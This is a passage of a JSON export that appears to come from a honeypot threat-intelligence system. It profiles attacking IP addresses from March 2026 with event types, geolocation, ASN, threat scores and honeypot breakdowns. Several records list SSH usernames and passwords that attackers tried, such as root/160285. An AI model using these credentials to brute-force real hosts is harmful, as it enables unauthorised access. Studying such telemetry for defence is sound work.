        "last_seen_30d": "2026-03-26T22:13:18.849000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 108,
        "Ciscoasa": 22,
        "H0neytr4p": 15,
        "Honeytrap": 12,
        "Cowrie": 11,
        "Dionaea": 3
      }
    },
    "162.243.63.166": {
      "attack_count": 12,
      "first_seen": "2026-03-30T20:17:32.371Z",
      "last_seen": "2026-03-30T20:17:34.831Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Secaucus",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T20:17:32.371000+00:00",
        "last_seen_30d": "2026-03-30T20:18:44.885000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "14.103.63.118": {
      "attack_count": 10,
      "first_seen": "2026-03-16T06:29:16.469Z",
      "last_seen": "2026-03-16T06:37:21.118Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "dp",
        "lee"
      ],
      "passwords_attempted": [
        "dp123",
        "leepass"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T06:29:16.469000+00:00",
        "last_seen_30d": "2026-03-16T06:38:31.296000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "167.94.138.120": {
      "attack_count": 8,
      "first_seen": "2026-03-04T13:38:27.362Z",
      "last_seen": "2026-03-04T13:38:57.063Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 61.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.8,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 152,
        "days_active_30d": 21,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-03T01:14:10+00:00",
        "last_seen_30d": "2026-03-23T18:54:43.816000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 98,
        "Honeytrap": 29,
        "Cowrie": 8,
        "ElasticPot": 8,
        "H0neytr4p": 8,
        "Dicompot": 1
      }
    },
    "23.129.64.212": {
      "attack_count": 8,
      "first_seen": "2026-03-27T18:19:13.545Z",
      "last_seen": "2026-03-27T18:19:34.037Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396507,
      "as_org": "Emerald Onion",
      "threat_score": 51.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.8,
        "persistence": 17.5,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 21,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-07T18:37:20+00:00",
        "last_seen_30d": "2026-03-27T18:20:42.359000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 6,
        "Honeytrap": 3,
        "Ciscoasa": 2
      }
    },
    "20.163.60.206": {
      "attack_count": 7,
      "first_seen": "2026-03-30T20:58:54.704Z",
      "last_seen": "2026-03-30T20:59:04.705Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 45.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.6,
        "persistence": 12.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 15,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-16T18:51:21+00:00",
        "last_seen_30d": "2026-03-30T21:00:12.411000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 7,
        "Honeytrap": 2
      }
    },
    "20.64.104.31": {
      "attack_count": 7,
      "first_seen": "2026-03-19T18:31:20.238Z",
      "last_seen": "2026-03-19T18:31:30.239Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 49.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.1,
        "persistence": 14.2,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 17,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-10T13:07:31.982000+00:00",
        "last_seen_30d": "2026-03-26T16:31:07.479000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Honeytrap": 8,
        "Cowrie": 7
      }
    },
    "20.65.195.32": {
      "attack_count": 7,
      "first_seen": "2026-03-14T10:49:47.312Z",
      "last_seen": "2026-03-14T10:49:57.336Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 49.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.3,
        "persistence": 11.7,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 14,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-14T10:48:41.247000+00:00",
        "last_seen_30d": "2026-03-27T02:47:42.448000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Cowrie": 7,
        "Honeytrap": 6,
        "ElasticPot": 1
      }
    },
    "161.35.236.116": {
      "attack_count": 6,
      "first_seen": "2026-03-11T19:29:12.076Z",
      "last_seen": "2026-03-20T23:31:37.038Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 49.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.2,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 207,
        "days_active_30d": 11,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-10T18:22:31+00:00",
        "last_seen_30d": "2026-03-20T23:32:55.289000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 154,
        "Honeytrap": 35,
        "Cowrie": 6,
        "Ciscoasa": 4,
        "Adbhoney": 2,
        "CitrixHoneypot": 2,
        "Dionaea": 2,
        "H0neytr4p": 2
      }
    },
    "165.232.36.67": {
      "attack_count": 6,
      "first_seen": "2026-03-06T00:26:58.375Z",
      "last_seen": "2026-03-06T00:26:58.928Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T00:26:58.375000+00:00",
        "last_seen_30d": "2026-03-06T00:27:59.526000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "198.235.24.65": {
      "attack_count": 6,
      "first_seen": "2026-03-12T17:11:57.070Z",
      "last_seen": "2026-03-26T04:34:19.770Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 124,
        "days_active_30d": 29,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T02:38:07+00:00",
        "last_seen_30d": "2026-03-30T23:20:34.425000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 35,
        "Cowrie": 6,
        "CitrixHoneypot": 1
      }
    },
    "8.219.222.66": {
      "attack_count": 6,
      "first_seen": "2026-03-23T02:57:49.926Z",
      "last_seen": "2026-03-23T02:57:53.664Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T02:57:49.926000+00:00",
        "last_seen_30d": "2026-03-23T02:59:02.302000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "94.243.15.89": {
      "attack_count": 6,
      "first_seen": "2026-03-17T07:10:28.661Z",
      "last_seen": "2026-03-17T07:12:44.324Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T07:10:28.661000+00:00",
        "last_seen_30d": "2026-03-17T07:22:45.269000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "185.129.62.64": {
      "attack_count": 5,
      "first_seen": "2026-03-04T15:12:41.223Z",
      "last_seen": "2026-03-04T15:12:46.423Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "emo"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Denmark",
      "country_code": "DK",
      "city": null,
      "asn": 57860,
      "as_org": "Zencurity ApS",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 5.8,
        "diversity": 8,
        "spread": 25,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 7,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T07:48:08+00:00",
        "last_seen_30d": "2026-03-08T20:54:00.996000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "H0neytr4p": 7,
        "Ciscoasa": 6,
        "Cowrie": 5,
        "Honeytrap": 1
      }
    },
    "185.220.101.32": {
      "attack_count": 5,
      "first_seen": "2026-03-04T12:00:39.475Z",
      "last_seen": "2026-03-04T12:00:50.910Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "ItsemoemoWashere2023support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 4.2,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 5,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T16:37:57+00:00",
        "last_seen_30d": "2026-03-06T18:29:18.663000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Honeytrap": 6,
        "Cowrie": 5,
        "H0neytr4p": 3
      }
    },
    "20.55.50.10": {
      "attack_count": 5,
      "first_seen": "2026-03-09T17:35:57.033Z",
      "last_seen": "2026-03-09T17:36:07.449Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 40.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.8,
        "persistence": 14.2,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 17,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-07T23:40:04.631000+00:00",
        "last_seen_30d": "2026-03-23T17:32:04.980000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Honeytrap": 6,
        "Cowrie": 5
      }
    },
    "38.188.160.132": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:22:36.714Z",
      "last_seen": "2026-03-10T23:22:39.066Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "160285"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:22:36.714000+00:00",
        "last_seen_30d": "2026-03-10T23:23:39.788000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.39": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:07:37.182Z",
      "last_seen": "2026-03-10T23:07:39.570Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "abcdefghi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:07:37.182000+00:00",
        "last_seen_30d": "2026-03-10T23:08:41.032000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "135.237.126.224": {
      "attack_count": 4,
      "first_seen": "2026-03-03T02:50:13.197Z",
      "last_seen": "2026-03-03T02:50:23.790Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 74.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.1,
        "persistence": 25,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 30,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T13:17:59.085000+00:00",
        "last_seen_30d": "2026-03-31T01:38:32.506000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Cowrie": 4,
        "Honeytrap": 3,
        "Dionaea": 2
      }
    },
    "194.187.178.104": {
      "attack_count": 4,
      "first_seen": "2026-03-07T08:30:11.368Z",
      "last_seen": "2026-03-07T08:30:12.265Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH",
      "threat_score": 42.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.1,
        "persistence": 16.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 20,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-07T08:30:11.368000+00:00",
        "last_seen_30d": "2026-03-26T06:46:32.691000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "H0neytr4p": 1
      }
    },
    "198.235.24.235": {
      "attack_count": 4,
      "first_seen": "2026-03-10T04:26:20.443Z",
      "last_seen": "2026-03-10T04:26:23.576Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 174,
        "days_active_30d": 29,
        "ports_targeted_30d": 44,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-03T12:04:55+00:00",
        "last_seen_30d": "2026-03-31T17:11:00.213000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 119,
        "Honeytrap": 48,
        "Cowrie": 4,
        "Sentrypeer": 2,
        "ConPot": 1
      }
    },
    "198.235.24.78": {
      "attack_count": 4,
      "first_seen": "2026-03-11T23:04:30.176Z",
      "last_seen": "2026-03-11T23:04:34.092Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 30,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T07:45:07.269000+00:00",
        "last_seen_30d": "2026-03-31T03:25:33.203000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 29,
        "Cowrie": 4,
        "Dionaea": 1,
        "Honeyaml": 1
      }
    },
    "205.210.31.88": {
      "attack_count": 4,
      "first_seen": "2026-03-28T16:29:24.297Z",
      "last_seen": "2026-03-28T16:29:28.172Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 92.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 30,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T20:03:01+00:00",
        "last_seen_30d": "2026-03-31T00:14:46.719000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 106,
        "Honeytrap": 42,
        "ConPot": 18,
        "Miniprint": 9,
        "Cowrie": 4,
        "Dionaea": 2,
        "Dicompot": 1
      }
    },
    "206.168.34.193": {
      "attack_count": 4,
      "first_seen": "2026-03-13T00:31:12.592Z",
      "last_seen": "2026-03-13T00:31:27.746Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 24.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 5.8,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 7,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-13T00:31:12.592000+00:00",
        "last_seen_30d": "2026-03-19T13:59:27.840000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "3.137.148.99": {
      "attack_count": 4,
      "first_seen": "2026-03-15T16:09:45.363Z",
      "last_seen": "2026-03-15T16:09:46.061Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 32.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 159,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-15T16:09:45+00:00",
        "last_seen_30d": "2026-03-15T16:19:54.459000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 162,
        "Honeytrap": 110,
        "Dionaea": 9,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Redishoneypot": 2
      }
    },
    "54.205.241.255": {
      "attack_count": 4,
      "first_seen": "2026-03-28T01:20:16.027Z",
      "last_seen": "2026-03-28T01:20:21.580Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T01:20:16.027000+00:00",
        "last_seen_30d": "2026-03-28T01:21:25.328000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "91.230.168.73": {
      "attack_count": 4,
      "first_seen": "2026-03-11T05:53:13.246Z",
      "last_seen": "2026-03-11T05:53:14.563Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 80.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 30,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T17:42:48+00:00",
        "last_seen_30d": "2026-03-31T19:05:28.826000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 42,
        "Cowrie": 4
      }
    },
    "165.22.184.62": {
      "attack_count": 3,
      "first_seen": "2026-03-26T10:22:57.226Z",
      "last_seen": "2026-03-26T10:22:57.572Z",
      "sessions": 1,
      "ports": [],
